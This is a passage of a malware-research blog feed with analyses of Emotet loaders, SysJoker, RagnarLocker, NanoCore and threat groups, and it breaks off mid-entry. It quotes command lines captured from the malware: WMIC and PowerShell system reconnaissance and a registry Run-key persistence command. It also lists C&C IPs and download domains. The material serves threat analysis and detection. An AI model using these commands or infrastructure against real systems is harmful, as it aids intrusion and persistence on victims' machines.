    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;Tofsee is a malware used for mass campaigns, which does not have an associated group or actor. It has gone through different phases, but has generally been used to create Botnets or SpamBots, as well as mining actions. The starting point of Tofsee is usually a Loader or an email using the SpearPhishing technique that will launch the malware. It has been in all its stages a really worked malware, with code obfuscations, packaged samples, anti-analysis techniques, which led to a backdoor to perform minings taking advantage of the botnet features or to perform Spam.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Bot" scheme="https://rexorvc0.com/tags/Bot/"/>
    
  </entry>
  
  <entry>
    <title>Machete Weapons - Lokibot</title>
    <link href="https://rexorvc0.com/2022/06/28/MacheteWeapons_Lokibot/"/>
    <id>https://rexorvc0.com/2022/06/28/MacheteWeapons_Lokibot/</id>
    <published>2022-06-28T06:00:00.000Z</published>
    <updated>2025-03-30T20:23:24.425Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Machete-Weapons-Lokibot"><a href="#Machete-Weapons-Lokibot" class="headerlink" title="_Machete Weapons: Lokibot"></a>_Machete Weapons: Lokibot</h1><p>Machete is a group that currently has no associated country, but it is believed that its origin or part of it belongs to Spanish-speaking countries. This group began operating in 2010 and this year has had a major impact in many countries, being particular in this area, as it attacks a large number of them, with an emphasis on Latin America, Spain and Russia.</p><p>Being their main targets defense departments, government entities and companies dedicated to energy and telecommunications, they gain initial access using the social engineering distribution method, with a great eagerness for Spear-Phishing emails, although they have also been seen exploiting vulnerabilities, once they have gained access, the phases vary depending on the malware they use, but the main objective is to generate persistence, open connections outside creating a secure channel and steal information from the victim that will exfiltrate through the previously created channel.</p><span id="more"></span><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Visor de PDF</title></head><body>    <iframe src="https://mozilla.github.io/pdf.js/web/viewer.html?file=https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/d41ae2e5b740264f76f0bfe9bcf05e2c146abd1f/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf" width="100%" height="1200"></iframe></body></html>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Machete-Weapons-Lokibot&quot;&gt;&lt;a href=&quot;#Machete-Weapons-Lokibot&quot; class=&quot;headerlink&quot; title=&quot;_Machete Weapons: Lokibot&quot;&gt;&lt;/a&gt;_Machete Weapons: Lokibot&lt;/h1&gt;&lt;p&gt;Machete is a group that currently has no associated country, but it is believed that its origin or part of it belongs to Spanish-speaking countries. This group began operating in 2010 and this year has had a major impact in many countries, being particular in this area, as it attacks a large number of them, with an emphasis on Latin America, Spain and Russia.&lt;/p&gt;
&lt;p&gt;Being their main targets defense departments, government entities and companies dedicated to energy and telecommunications, they gain initial access using the social engineering distribution method, with a great eagerness for Spear-Phishing emails, although they have also been seen exploiting vulnerabilities, once they have gained access, the phases vary depending on the malware they use, but the main objective is to generate persistence, open connections outside creating a secure channel and steal information from the victim that will exfiltrate through the previously created channel.&lt;/p&gt;</summary>
    
    
    
    <category term="Report" scheme="https://rexorvc0.com/categories/Report/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="TA" scheme="https://rexorvc0.com/tags/TA/"/>
    
    <category term="Machete" scheme="https://rexorvc0.com/tags/Machete/"/>
    
    <category term="Lokibot" scheme="https://rexorvc0.com/tags/Lokibot/"/>
    
  </entry>
  
  <entry>
    <title>SilentBuilder</title>
    <link href="https://rexorvc0.com/2022/04/24/SilentBuilder/"/>
    <id>https://rexorvc0.com/2022/04/24/SilentBuilder/</id>
    <published>2022-04-24T06:00:00.000Z</published>
    <updated>2025-03-30T20:23:16.819Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>SilentBuilder is a campaign that is being used to launch bankers such as Emotet to increase the Epoch5 botnet as well as the usual tasks of this malware. The similarities between other loaders that launch Emotet and that, once the banker is in our computer, tries to contact C&amp;C, we could understand that this is a typical modus operandi of the criminal group Mummy Spider or TA542.</em></p><span id="more"></span><h1 id="How-it-Works"><a href="#How-it-Works" class="headerlink" title="_How it Works"></a>_How it Works</h1><p>The attacker will access our system after a phishing email, more specifically SpearPhishing [T1566.002], as it will contain an attachment such as an XLS or DOCX, after this, since the document will contain macros or hidden functions, it will download a file, usually a dll, once downloaded it will be launched on the computer abusing Regsvr32.exe to search a list of C&amp;C servers.</p><p><img src="https://user-images.githubusercontent.com/91592110/165115747-2f771d13-1043-4af2-825c-a55c5ae62601.png" alt="0"></p><h1 id="Static-Analysis"><a href="#Static-Analysis" class="headerlink" title="_Static Analysis"></a>_Static Analysis</h1><p>Once the document is downloaded, we find, in my case, an xls, which after a glance we can see that it contains interesting functions that will run automatically when opened.</p><p><img src="https://user-images.githubusercontent.com/91592110/165120891-d9d71949-a3a3-4926-be9b-9ca350d44b4e.png" alt="1"></p><p>An interesting fact is that in this sample we see that it has the usual warning that will launch the functions and, in addition, another warning made by the attacker that will be a simple image.</p><p><img src="https://user-images.githubusercontent.com/91592110/165121338-1c2a8930-f0f8-40e5-9826-813890d61234.png" alt="2"></p><p>After this, we see a completely blank document, with no pages, no macros… Inquiring, we see that it does have internally pages with characteristic names and that they were hidden.</p><p><img src="https://user-images.githubusercontent.com/91592110/165122164-89f7db54-ba5e-4d0a-94dc-810e1ebda71b.png" alt="3"></p><p>Once again the sheets are empty… After reviewed the document and by changing the color of all the pages we found all the functions obfuscated and disordered.</p><p><img src="https://user-images.githubusercontent.com/91592110/165122974-c0cdd14b-01ff-4923-9d28-78c60223957e.png" alt="4"></p><p>In one of the sheets, we find the most important function, which would deobfuscate most of the functionality that will have the functions of the document.</p><p>We obtain, as we can see, functionalities for downloading a supposed library (nhth.dll) from different domains:</p><p><img src="https://user-images.githubusercontent.com/91592110/165123309-199782a9-80bb-4d94-90ef-eabc19f95af3.png" alt="5"></p><h1 id="Dynamic-Analysis"><a href="#Dynamic-Analysis" class="headerlink" title="_Dynamic Analysis"></a>_Dynamic Analysis</h1><p><em>Once we have an idea of how the document is going to work internally, let’s check if we are right.</em></p><p>We see that once the excel is launched, it makes a request to a domain and downloads a file (we observe in the network traffic the MZ header typical of Windows PE). After this, we can see that it downloads the dll in \users\&lt; YourUser &gt;\ , and then it will move it to the path \AppData\Local\&lt; RandomName &gt;\ with another name &lt; RandomName &gt;.adj</p><p><img src="https://user-images.githubusercontent.com/91592110/165127834-d79cec5f-9b27-482d-97d2-df88463f176a.png" alt="image"></p><p>We can see that if we compare the file obtained from the network traffic and the one found in \users\ or in \AppData\ , it is the same file.</p><p><img src="https://user-images.githubusercontent.com/91592110/165128128-1d3fd203-18f4-407d-b00b-461d3a4a3512.png" alt="image"></p><p>After this, we will see that the dll will try to contact a list of C&amp;C servers.</p><p><img src="https://user-images.githubusercontent.com/91592110/165128479-8e606913-199b-41f1-adec-fc5831206764.png" alt="image"></p><p>If we look at the origin of all the addresses it tries to contact, we can see that it has servers in most of America, Europe and Asia, among others.</p><p><img src="https://user-images.githubusercontent.com/91592110/165128942-55d00be4-4d06-4b20-84b3-41377f135589.png" alt="7"></p><p>How long will they continue to exploit Emotet? Who knows…</p><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><h3 id="Download-Emotet"><a href="#Download-Emotet" class="headerlink" title="_Download Emotet"></a>_Download Emotet</h3><pre class="line-numbers language-none"><code class="language-none">fccatinsaat.comfreemanylaluz.comfutaba.youchien.netfabulouswebdesign.netfreewebsitedirectory.comdominionai.org<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="C-amp-C"><a href="#C-amp-C" class="headerlink" title="_C&amp;C"></a>_C&amp;C</h3><pre class="line-numbers language-none"><code class="language-none">159.203.141.15679.143.187.147189.232.46.16151.91.76.89119.193.124.41176.104.106.961.234.21.7382.165.152.127167.172.253.162153.126.146.25216.158.226.206103.75.201.2188.44.20.25101.50.0.91159.65.88.10176.56.128.11872.15.201.15203.114.109.124212.237.17.99192.99.251.5050.30.40.196173.212.193.249189.126.111.200195.154.133.2058.227.42.23646.55.222.1145.176.232.124195.201.151.129151.106.112.196209.250.246.206131.100.24.2311.234.2.232164.68.99.351.91.7.5167.99.115.355.9.116.246185.8.212.13031.24.158.5645.142.114.23179.172.212.21645.118.135.203146.59.226.45178.79.147.66159.8.59.82158.69.222.10150.116.54.215196.218.30.83129.232.188.9345.118.115.9951.254.140.238209.126.98.206107.182.225.142134.122.66.193185.157.82.211110.232.117.186197.242.150.244103.43.46.182212.24.98.99201.94.166.162104.131.11.205138.197.109.175187.84.80.182206.189.28.199160.16.142.56183.111.227.137103.132.242.26103.70.28.102172.104.251.154<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;SilentBuilder is a campaign that is being used to launch bankers such as Emotet to increase the Epoch5 botnet as well as the usual tasks of this malware. The similarities between other loaders that launch Emotet and that, once the banker is in our computer, tries to contact C&amp;amp;C, we could understand that this is a typical modus operandi of the criminal group Mummy Spider or TA542.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Downloader" scheme="https://rexorvc0.com/tags/Downloader/"/>
    
    <category term="Loader" scheme="https://rexorvc0.com/tags/Loader/"/>
    
    <category term="MalDoc" scheme="https://rexorvc0.com/tags/MalDoc/"/>
    
  </entry>
  
  <entry>
    <title>SysJoker</title>
    <link href="https://rexorvc0.com/2022/03/16/SysJoker/"/>
    <id>https://rexorvc0.com/2022/03/16/SysJoker/</id>
    <published>2022-03-16T07:00:00.000Z</published>
    <updated>2025-03-30T20:23:10.336Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>SysJoker is a backdoor which appeare for the first time at the beginning of 2022 whose power resides in being cross-platform. Its main objective is to install itself in our computer and perform espionage and&#x2F;or data theft tasks. Currently it has not yet been attributed to any group or campaign.</em></p><span id="more"></span><h1 id="What-we-see-at-a-glance"><a href="#What-we-see-at-a-glance" class="headerlink" title="_What we see at a glance"></a>_What we see at a glance</h1><p>At this sample written on C++ will be several mentioned functionalities before</p><p>SHA256: </p><pre class="line-numbers language-none"><code class="language-none">1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/158830817-202c7da0-5bbe-463a-b3b8-de53991d2cb9.png" alt="exeinfo"></p><p>We can see at a glance how a powershell is executed after the binary, which will have different utilities and will be used in different points</p><p><img src="https://user-images.githubusercontent.com/91592110/158831357-e02fa45e-021e-4443-8de8-2a4f3ab1f556.png" alt="ps1"></p><p><img src="https://user-images.githubusercontent.com/91592110/158831379-0b64a19d-52c7-4295-9247-653f430fae5a.png" alt="ps2"></p><p><img src="https://user-images.githubusercontent.com/91592110/158831388-60d0d35c-fef3-48ea-8290-5d2fad118fd6.png" alt="ps3"></p><h1 id="Analysis"><a href="#Analysis" class="headerlink" title="_Analysis"></a>_Analysis</h1><p>Seeing how it works from the beginning, SysJoker will perform a folder creation, usually in ProgramData or in subfolders of AppData in which it will leave a copy of itself named after legitimate software, in this case using igfx, in its legitimate variant related to <em>Intel Graphics Common User Interface</em>.</p><p><em>Execution flow:</em></p><pre class="line-numbers language-none"><code class="language-none">.├── (Parentprc) SysJoker.exe|     ├─ (Childprc) Powershell.exe|     ├─ (Childcmd) powershell.exe copy &#39;&lt;Sysjoker source path&gt;&#39; &#39;&lt;Sysjoker destination path&gt;&#39;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/158833215-43fe28c7-bc4b-4e18-9fed-9821493086e9.png" alt="0"></p><p>After this, we will see how the dropped file is executed in the previously mentioned folder, and it will obtain different important elements of the equipment such as: MAC, OS and Network. It will save it in different .txt files, which will be in the same path where the copy is running. As we can see, it sometimes uses the internal WMIC tool to get certain data and dump it.</p><p><em>Commandlines:</em></p><pre class="line-numbers language-none"><code class="language-none">&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; getmac | Out-File -Encoding &#39;Default&#39; &#39;C:\ProgramData\SystemData\temps1.txt&#39; ; wmic path win32_physicalmedia get SerialNumber | Out-File -Encoding &#39;Default&#39; &#39;C:\ProgramData\SystemData\temps2.txt&#39;&quot;C:\Windows\System32\Wbem\WMIC.exe&quot; path win32_physicalmedia get SerialNumber&quot;C:\Windows\System32\cmd.exe&quot; &#x2F;c wmic OS get Caption, CSDVersion, OSArchitecture, Version &#x2F; value &gt; &quot;C:\ProgramData\SystemData\tempo1.txt&quot; &amp;&amp; type &quot;C:\ProgramData\SystemData\tempo1.txt&quot; &gt; &quot;C:\ProgramData\SystemData\tempo2.txt&quot;C:\Windows\System32\cmd.exe&quot; &#x2F;c wmic nicconfig where &#39;IPEnabled &#x3D; True&#39; get ipaddress &gt; &quot;C:\ProgramData\SystemData\tempi1.txt&quot; &amp;&amp; type &quot;C:\ProgramData\SystemData\tempi1.txt&quot; &gt; &quot;C:\ProgramData\SystemData\tempi2.txt<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/158833441-25716da1-ce42-48df-a8a8-7f06c6e994e8.png" alt="1"></p><p>After the previous step, the files will be deleted since the information will be hardcoded before being sent to a C&amp;C server, this information will be dumped to a supposed dll, which, we can see that it is simply coded information.</p><p><img src="https://user-images.githubusercontent.com/91592110/158833531-ed22f635-7a93-4ba1-9406-68c69f103f6a.png" alt="2"></p><p><img src="https://user-images.githubusercontent.com/91592110/158833555-b4aac916-5406-4746-ae15-d68f32096295.png" alt="exeinfo2"></p><p>After this, it will persist on the computer by adding the previously copied file to the registry key <em>CurrentVersion\Run</em> with which it will get execution again in a forced way (&#x2F;F) every time we start the system.</p><p><em>Commandline:</em></p><pre class="line-numbers language-none"><code class="language-none">REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run &#x2F;V igfxCUIService &#x2F;t REG_SZ &#x2F;D &quot;C:\ProgramData\SystemData\igfxCUIService.exe&quot; &#x2F;F<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/158833676-78210d1a-bf1c-483d-91e5-9d3b9988bed7.png" alt="3"></p><p>As for communications against C&amp;C, it has been seen to use different domains <em>drive.google.com</em> or <em>github</em> to make it more difficult to detect traffic and perform rule creation. In short, the Sysjoker does not bring anything relatively new, but it has a quite characteristic methodology that makes it quite recognizable. </p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;SysJoker is a backdoor which appeare for the first time at the beginning of 2022 whose power resides in being cross-platform. Its main objective is to install itself in our computer and perform espionage and&amp;#x2F;or data theft tasks. Currently it has not yet been attributed to any group or campaign.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Backdoor" scheme="https://rexorvc0.com/tags/Backdoor/"/>
    
  </entry>
  
  <entry>
    <title>OperationLayover | TA2541 in SNIP3 campaign</title>
    <link href="https://rexorvc0.com/2021/12/22/OperationLayover_TA2541_Snip3/"/>
    <id>https://rexorvc0.com/2021/12/22/OperationLayover_TA2541_Snip3/</id>
    <published>2021-12-22T07:00:00.000Z</published>
    <updated>2025-03-30T20:22:11.409Z</updated>
    
    <content type="html"><![CDATA[<h1 id="OperationLayover-TA2541-in-SNIP3-campaign"><a href="#OperationLayover-TA2541-in-SNIP3-campaign" class="headerlink" title="_OperationLayover | TA2541 in SNIP3 campaign"></a>_OperationLayover | TA2541 in SNIP3 campaign</h1><p>OperationLayover also called TA2541 is a group that uses SNIP3 loader to attack targets related to the transport, aviation, and travel sectors around the world. A group that first appeared in 2013. Using Malware-as-a-service and Cryper-as-a-service Malware campaign models to attack their opponents, using these models have orchestrated and constantly updated executions. The group is originate from Nigeria, as a large number of VPNs have been seen being used from this country to launch attacks. Their main motivation is information theft and espionage by performing various exfiltration methods.</p><p><img src="/images/operationlayover.png" alt="OperationLayover-TA2541"></p><span id="more"></span><p>This group carries out its attacks using rudimentary techniques without an excessive level, but quite effectively. An example of this is the use of the Snip3 campaign in which the entry point is usually a mail with a document attached and later it combined different scripts to launch different Remote Admin Tools (RATs) which will be injected into .NET related software, where after the information theft the information will be exfiltrated</p><p>Once the attack is carried out, the actor will seek to exfiltrate sensitive information from the attacked company in order to use it against them</p><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Visor de PDF</title></head><body>    <iframe src="https://mozilla.github.io/pdf.js/web/viewer.html?file=https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/d41ae2e5b740264f76f0bfe9bcf05e2c146abd1f/RAT/Snip3%20loader/Snip3_Aaron_Jornet_EN.pdf" width="100%" height="1200"></iframe></body></html><p>Here are the slides from RootedCON where I presented everything I extracted from this group that was found in different incidents, as well as the malwares used during the whole campaign (Sry is in Spanish):</p><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Visor de PDF</title></head><body>    <iframe src="https://mozilla.github.io/pdf.js/web/viewer.html?file=https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/f7141195b508f513718752898b0ed9bc61d0e681/RAT/Snip3%20loader/TH-MalwareRE-Track-%26-catch.pdf" width="100%" height="1200"></iframe></body></html>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;OperationLayover-TA2541-in-SNIP3-campaign&quot;&gt;&lt;a href=&quot;#OperationLayover-TA2541-in-SNIP3-campaign&quot; class=&quot;headerlink&quot; title=&quot;_OperationLayover | TA2541 in SNIP3 campaign&quot;&gt;&lt;/a&gt;_OperationLayover | TA2541 in SNIP3 campaign&lt;/h1&gt;&lt;p&gt;OperationLayover also called TA2541 is a group that uses SNIP3 loader to attack targets related to the transport, aviation, and travel sectors around the world. A group that first appeared in 2013. Using Malware-as-a-service and Cryper-as-a-service Malware campaign models to attack their opponents, using these models have orchestrated and constantly updated executions. The group is originate from Nigeria, as a large number of VPNs have been seen being used from this country to launch attacks. Their main motivation is information theft and espionage by performing various exfiltration methods.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/operationlayover.png&quot; alt=&quot;OperationLayover-TA2541&quot;&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Report" scheme="https://rexorvc0.com/categories/Report/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="TA" scheme="https://rexorvc0.com/tags/TA/"/>
    
    <category term="RAT" scheme="https://rexorvc0.com/tags/RAT/"/>
    
    <category term="OperationLayover" scheme="https://rexorvc0.com/tags/OperationLayover/"/>
    
    <category term="SNIP3" scheme="https://rexorvc0.com/tags/SNIP3/"/>
    
  </entry>
  
  <entry>
    <title>RagnarLocker</title>
    <link href="https://rexorvc0.com/2021/11/01/RagnarLocker/"/>
    <id>https://rexorvc0.com/2021/11/01/RagnarLocker/</id>
    <published>2021-11-01T07:00:00.000Z</published>
    <updated>2025-03-30T20:23:03.033Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>RagnarLocker is a Ransomware normally associated with the group Viking Spider whose InitialAccess is varied, but as usual, they perform direct attacks trying to exploit systems or after the abuse of legitimate applications or by implanting malware inside these, after these movements, the most common is to gain maximum access and control within the attacked company to encrypt as many computers as possible.</em></p><span id="more"></span><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>At the first steps, we find a common function in the Ransomwares that tries to determine which country runs the Malware, this is because certain groups use targets depending on the country and avoid certain countries, as we can see it locates which country we belong to using <em>GetLocaleInfoW</em> and compares it to an internal list of countries as an exclusion, in the case that our country was in the list and the function returned any of the list, it would end the execution.</p><p><img src="https://user-images.githubusercontent.com/91592110/139923142-19aa7ac8-2b13-4c2e-8a89-103490001972.png" alt="image"></p><p>List of country languages:</p><pre class="line-numbers language-none"><code class="language-none">BelorussianAzerbaijaniUkrainianMoldavianGeorgianArmenianTurkmenRussianKyrgyzKazakhUzbekTajik<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Later, it obtains the computer name and user data, as well as the MachineGUID of the computer using the Microsoft RegKey Crypthography or the ProductName using the RegKey <em>Windows NT\Current Version</em>, something that Ransomwares usually do to obtain information from the computer that they can then use to identify the machines.</p><p><img src="https://user-images.githubusercontent.com/91592110/139928520-4eced539-28fe-463e-ab68-0a50fc2722d1.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/139928541-f62a525d-4347-44e9-a4f4-7cb21694671c.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/139928549-15463579-6611-49eb-be85-bd27251436d5.png" alt="image"><br><img src="https://user-images.githubusercontent.com/91592110/139928561-80278c35-7098-46a9-a70e-ff63b7f67340.png" alt="image"></p><p>After identifying disks to be encrypted, it is dedicated to enumerate services, in which, we can see that it uses the <em>EnumServiceStatusA</em>, in which it will ask the DB of the control manager (previously opened with <em>OpenSCManagerA</em>) and will compare each one of the services with the internal list, in case it finds something related to its exclusion list it will close it using <em>CloseServiceHandle</em>.</p><p><img src="https://user-images.githubusercontent.com/91592110/139928691-6c4ee9ef-2ef1-4984-8d96-2fc38ec4d895.png" alt="image"></p><p>List of exclusion services:</p><pre class="line-numbers language-none"><code class="language-none">vsssqlmemtasmepocssophosveeambackuppulsewaylogmelogmeinconnectwisesplashtopkaseya<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After that, it will create the usual ransom note in which it will ask for money (usually cryptocurrencies) to ransom the encrypted files, as we can see, it will first create the file by obtaining from memory the name of the txt and will perform the first creation in <em>\Public\Documents</em>, directory obtained through the <em>CSIDL</em> identifier using <em>SHGetSpecialFolderPathW</em>, after creating it it will rescue from memory both the data it contains in a predefined way and the hash it will create as our identifier that will be used to contact the attackers, in this case using <em>qTox</em>.</p><p><img src="https://user-images.githubusercontent.com/91592110/139929143-3fbf3f58-6d6f-4c50-9792-0b8fe929cf16.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/139929262-fc805c87-0d4f-43be-ab0f-151eeb950f7c.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/139929384-5bc991ae-fe43-487c-917d-8ad61c0acd39.png" alt="image"></p><p>Later, it will try to encrypt the files avoiding some folders, files and extensions that it will also check in memory, avoiding touching what it does not need to encrypt or that could alert of its presence, it will make a loop to check the files in each case.</p><p><img src="https://user-images.githubusercontent.com/91592110/139929648-c8bb803a-7bbc-483c-b65d-2410815bf0dd.png" alt="image"><br><img src="https://user-images.githubusercontent.com/91592110/139929663-fc42bb04-a67a-43f6-8e67-05de7e463315.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/139929675-b29517f8-a1df-4096-83a8-f6ad45208a99.png" alt="image"></p><p>An example of what a short file would look like before and after being encrypted, in which we can see how it will introduce the keys and the RAGNAR tag at the end.</p><p><img src="https://user-images.githubusercontent.com/91592110/139929936-57087b2c-f250-438c-8039-22412f371d2d.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/139929941-080fad57-ef6c-4195-a230-2d3a28a182df.png" alt="image"></p><p>Finally, to execute the txt in the default session in which the RagnarLocker has worked, it performs an <em>Interactive window station</em> in which we will see how it gets the session identifier, the process that is running the Ransomware, duplicate your token, get the session, and so on, to spawn the file in the session and that, at the end of its operation, we know what are the steps and what has happened in each of the affected computers.</p><p><img src="https://user-images.githubusercontent.com/91592110/139930089-c224d2a2-3e72-487b-bf7f-5a2d4bddfea7.png" alt="image"></p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;RagnarLocker is a Ransomware normally associated with the group Viking Spider whose InitialAccess is varied, but as usual, they perform direct attacks trying to exploit systems or after the abuse of legitimate applications or by implanting malware inside these, after these movements, the most common is to gain maximum access and control within the attacked company to encrypt as many computers as possible.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Ransomware" scheme="https://rexorvc0.com/tags/Ransomware/"/>
    
  </entry>
  
  <entry>
    <title>NanoCore RAT</title>
    <link href="https://rexorvc0.com/2021/10/28/NanoCore/"/>
    <id>https://rexorvc0.com/2021/10/28/NanoCore/</id>
    <published>2021-10-28T06:00:00.000Z</published>
    <updated>2025-03-30T20:21:20.706Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>NanoCore is a RAT (Remote Admin Tool) used by cybercriminal groups such as APT33 (Refined Kitten) whose InitialAccess is varied, although it has been most commonly used through fake emails with .zipx extensions or with fake formats, which is commonly called phishing (T1566) or in this case, since it contains a file in the email and its objective is execution on disk to go further, it would be more accurate to call it Spearphishing (T1566.001).</em></p><p>The main potential of NanoCore is usually to steal data from the computer and user once it has gained access to the disk, but once it is inside, it could perform any action from the outside, and, of course it depends of version.</p><p>To this analysis, I have divided into two parts, which is usually a common practice in which we observe first statically everything we can get in the shortest possible time and then a dynamic in which we will see how it behaves, although, we will lose information if we do not monitor properly or not debug.</p><span id="more"></span><h1 id="Static-Analysis-Obfuscated-Script"><a href="#Static-Analysis-Obfuscated-Script" class="headerlink" title="_Static Analysis: Obfuscated Script"></a>_Static Analysis: Obfuscated Script</h1><p>We start from a VisualBasicScript (VBS) which is quite obfuscated although we can distinguish some interesting words like “<em>http</em>“ or “<em>OwerSheL</em>“ and some “<em>replace</em>“ that will help us in the deobfuscation, for now we can’t see much so we have to get on work.</p><p><img src="https://user-images.githubusercontent.com/91592110/139471648-e3465f5e-b7ac-47a7-bbb2-4dedd01dfb4e.png" alt="image"></p><p>After working the script in the deobfuscate and get the most in the shortest possible time, we can see in a small scheme how this first stage works. On it, we find an IP [ <em>52[.]231.98[.]236</em> ] to which it will make a download request using “<em>DownloadString</em>“, as expected, using powershell and after this, it will execute the content that downloads</p><p><img src="https://user-images.githubusercontent.com/91592110/139471880-9c73a086-1d7c-4188-ab2a-a330e2712a18.png" alt="image"></p><p>At a controlled environment, we visit the website against which the request is made, we may find another similar script (the one executed previously) which, as usual in this type of loaders, hides another obfuscated script creating script chains so that the analysts lose interest or increase the difficulty of the analysis and that campaigns last as long as possible.</p><p><img src="https://user-images.githubusercontent.com/91592110/139471974-26258efa-b8bc-46d3-8bf0-6f9fde4efe27.png" alt="image"></p><p>Later, we will find another obfuscated script that will try to do the same as the previous one, complicate the work and make us know the minimum of the attack.</p><p><img src="https://user-images.githubusercontent.com/91592110/139472315-1da288ab-bdc6-4f9f-b0a3-69b6f969ae3d.png" alt="image"></p><p>After the previous script, we move on to the next one, in which we can see how it makes another request to the same IP but this time using another file (<em>Server.txt</em>) that at the time of analysis was already supposed to be another obfuscated file, which we will see now. After this obfuscation, we can see that the attacker manages to generate persistence in RUN by introducing a New.vbs file in it, which is none other than the same file as before that will execute again every time the system is launched, what would be Persistence (TA0003) whose more concrete technique would be T1547.</p><p>We see that it also collects in variables the RegKey <em>\Explorer\User Shell Folders</em> to generate persistence, simply, you can enter a registry key in the previous key 